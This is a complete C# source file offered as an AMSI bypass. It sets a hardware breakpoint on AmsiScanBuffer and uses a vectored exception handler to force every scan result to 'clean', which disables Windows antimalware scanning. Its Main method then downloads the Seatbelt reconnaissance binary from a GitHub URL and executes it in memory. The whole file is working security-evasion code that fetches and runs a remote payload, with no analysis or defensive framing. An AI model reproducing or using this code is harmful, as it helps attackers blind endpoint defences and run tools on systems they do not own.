C# Amsi bypass with hardware breakpint

Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Test
{
    // CCOB IS THE GOAT
    class Program
    {
        static IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
        static IntPtr pAmsiScanBuffer = WinAPI.GetProcAddress(amsiBase, "AmsiScanBuffer");
        static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
        static void Main(string[] args)
        {
            SetupBypass();
            
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            var sb = Assembly.Load(new WebClient().DownloadData("https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Seatbelt.exe"));
            sb.EntryPoint.Invoke(null, new object[] { new string[] {"" } });
            Console.WriteLine(sb.FullName);
        }
        static void SetupBypass()
        {

            WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
            ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;

            MethodInfo method = typeof(Program).GetMethod(nameof(Handler), BindingFlags.Static | BindingFlags.Public);
            IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
            
            // Saving our context to a struct
            Marshal.StructureToPtr(ctx, pCtx, true);
            bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
            ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));

            EnableBreakpoint(ctx, pAmsiScanBuffer, 0);

            WinAPI.SetThreadContext((IntPtr)(-2), pCtx);

        }
        public static long Handler(IntPtr exceptions)
        {
            WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
            ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
            
            WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
            ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));

            WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
            ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));

            if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pAmsiScanBuffer)
            {
                ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);

                // THE OUTPUT AMSIRESULT IS A POINTER, NOT THE EXPLICIT VALUE AAAAAAAAAA
                IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6* 8))); // 5th arg, swap it to clean
                Console.WriteLine("Buffer: 0x{0:X}", (long)ContextRecord.R8);
                Console.WriteLine("Scan Result: 0x{0:X}", Marshal.ReadInt32(ScanResult));

                Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);

                ContextRecord.Rip = ReturnAddress;
                ContextRecord.Rsp += 8;
                ContextRecord.Rax = 0; // S_OK
                
                // Remove the breakpoint
                ContextRecord.Dr0 = 0;
                ContextRecord.Dr7 = SetBits(ContextRecord.Dr7, 0, 1, 0);
                ContextRecord.Dr6 = 0;
                ContextRecord.EFlags = 0;

                Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
                return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
            }
            else
            {
                return WinAPI.EXCEPTION_CONTINUE_SEARCH;
            }

        }
        public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
        {

            switch (index)
            {
                case 0:
                    ctx.Dr0 = (ulong)address.ToInt64();
                    break;
                case 1:
                    ctx.Dr1 = (ulong)address.ToInt64();
                    break;
                case 2:
                    ctx.Dr2 = (ulong)address.ToInt64();
                    break;
                case 3:
                    ctx.Dr3 = (ulong)address.ToInt64();
                    break;
            }

            //Set bits 16-31 as 0, which sets
            //DR0-DR3 HBP's for execute HBP
            ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);

            //Set DRx HBP as enabled for local mode
            ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
            ctx.Dr6 = 0;

            // Now copy the changed ctx into the original struct
            Marshal.StructureToPtr(ctx, pCtx, true);
        }
        public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
        {
            ulong mask = (1UL << bits) - 1UL;
            dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
            return dw;
        }
    }
    class WinAPI
    {
        public const UInt32 DBG_CONTINUE = 0x00010002;
        public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
        public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
        public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
        public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
        public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
        public const Int32 EXCEPTION_DEBUG_EVENT = 1;
        public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
        public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
        public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
        public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
        public const Int32 RIP_EVENT = 9;
        public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;

        public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
        public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
        public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
        public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
        public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
        public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
        public const UInt32 DBG_CONTROL_C = 0x40010006;
        public const UInt32 DEBUG_PROCESS = 0x00000001;
        public const UInt32 CREATE_SUSPENDED = 0x00000004;
        public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;

        public const Int32 AMSI_RESULT_CLEAN = 0;

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

        [DllImport("Kernel32.dll")]
        public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
        [Flags]
        public enum CONTEXT64_FLAGS : uint
        {
            CONTEXT64_AMD64 = 0x100000,
            CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
            CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
            CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
            CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
            CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
            CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
            CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct M128A
        {
            public ulong High;
            public long Low;

            public override string ToString()
            {
                return string.Format("High:{0}, Low:{1}", this.High, this.Low);
            }
        }

        /// <summary>
        /// x64
        /// </summary>
        [StructLayout(LayoutKind.Sequential, Pack = 16)]
        public struct XSAVE_FORMAT64
        {
            public ushort ControlWord;
            public ushort StatusWord;
            public byte TagWord;
            public byte Reserved1;
            public ushort ErrorOpcode;
            public uint ErrorOffset;
            public ushort ErrorSelector;
            public ushort Reserved2;
            public uint DataOffset;
            public ushort DataSelector;
            public ushort Reserved3;
            public uint MxCsr;
            public uint MxCsr_Mask;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
            public M128A[] FloatRegisters;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
            public M128A[] XmmRegisters;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
            public byte[] Reserved4;
        }

        /// <summary>
        /// x64
        /// </summary>
        [StructLayout(LayoutKind.Sequential, Pack = 16)]
        public struct CONTEXT64
        {
            public ulong P1Home;
            public ulong P2Home;
            public ulong P3Home;
            public ulong P4Home;
            public ulong P5Home;
            public ulong P6Home;

            public CONTEXT64_FLAGS ContextFlags;
            public uint MxCsr;

            public ushort SegCs;
            public ushort SegDs;
            public ushort SegEs;
            public ushort SegFs;
            public ushort SegGs;
            public ushort SegSs;
            public uint EFlags;

            public ulong Dr0;
            public ulong Dr1;
            public ulong Dr2;
            public ulong Dr3;
            public ulong Dr6;
            public ulong Dr7;

            public ulong Rax;
            public ulong Rcx;
            public ulong Rdx;
            public ulong Rbx;
            public ulong Rsp;
            public ulong Rbp;
            public ulong Rsi;
            public ulong Rdi;
            public ulong R8;
            public ulong R9;
            public ulong R10;
            public ulong R11;
            public ulong R12;
            public ulong R13;
            public ulong R14;
            public ulong R15;
            public ulong Rip;

            public XSAVE_FORMAT64 DUMMYUNIONNAME;

            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
            public M128A[] VectorRegister;
            public ulong VectorControl;

            public ulong DebugControl;
            public ulong LastBranchToRip;
            public ulong LastBranchFromRip;
            public ulong LastExceptionToRip;
            public ulong LastExceptionFromRip;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct EXCEPTION_RECORD
        {
            public uint ExceptionCode;
            public uint ExceptionFlags;
            public IntPtr ExceptionRecord;
            public IntPtr ExceptionAddress;
            public uint NumberParameters;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct EXCEPTION_POINTERS
        {
            public IntPtr pExceptionRecord;
            public IntPtr pContextRecord;
        }
    }
}